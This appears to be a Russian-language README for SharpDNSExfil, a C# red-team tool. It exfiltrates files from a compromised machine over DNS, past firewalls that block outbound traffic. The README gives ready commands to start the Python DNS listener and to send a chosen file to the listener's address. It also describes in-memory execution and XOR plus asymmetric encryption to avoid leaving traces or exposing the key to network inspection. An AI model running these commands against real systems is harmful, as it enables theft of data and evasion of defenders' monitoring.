
C# инструмент для эксфильтрации файлов через DNS с использованием XOR и асимметричного шифрования, предназначенный для красных команд в условиях ограниченных исходящих соединений.
SharpDNSExfil — это инструмент для эксфильтрации, написанный на C#. Основная цель — эксфильтрация любых файлов «на диске» без необходимости беспокоиться об ограниченных исходящих соединениях.
Во время моей работы я получил слепой RCE, и оказалось, что удалённая машина защищена брандмауэром, который не разрешает исходящие соединения, что затруднило получение обратного соединения. Хорошая новость в том, что DNS-сервер может разрешать публичные домены и способен связаться со мной через DNS. Проблема в том, что я всё ещё не мог получить обратную оболочку, мог прочитать некоторые небольшие выводы, но это было бесполезно. Поэтому у меня возникла идея автоматизировать процесс через только DNS и рекурсивно выполнить все шаги — и это наконец сработало!
ПРЕДУПРЕЖДЕНИЕ: Весь процесс был протестирован только через собственный публичный DNS-сервер, но не был полностью проверен в реальной корпоративной среде. Так что используйте на свой страх и риск!
Все эксфильтрованные байты XOR-ся случайно сгенерированным ключом. Вы можете подумать, что ключ будет передан в открытом виде на сетевом уровне (Wireshark найдёт). С опцией --encrypt вступает в действие асимметричное шифрование: жёстко заданный открытый ключ зашифрует XOR-ключ. Локальная машина (вы) ожидает зашифрованный ключ, а python-скрипт автоматически расшифрует его своим жёстко заданным закрытым ключом. Остальные передаваемые данные будут XOR-ны обратно в исходные байты. Поэтому всегда меняйте пары ключей, пожалуйста.
| Перед шифрованием | После шифрования |
|---|---|
![]() | ![]() |
dnsserver.py. Параметры следующие:python3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
SharpDNSExfil выполняет шаги и процессы исключительно в памяти, не касаясь диска, чтобы не оставлять мусор во время работы. SharpDNSExfil информирует о каждом шаге или процессе, выполняемом в фоне, с помощью опции --verbose. Каждый отправленный байт XOR-закодирован, а ключ дополнительно шифруется асимметричным шифрованием, чтобы избежать передачи ключа в открытом виде по сети. Будьте особенно внимательны, всегда делайте заметки и проводите очистку на имуществе клиента.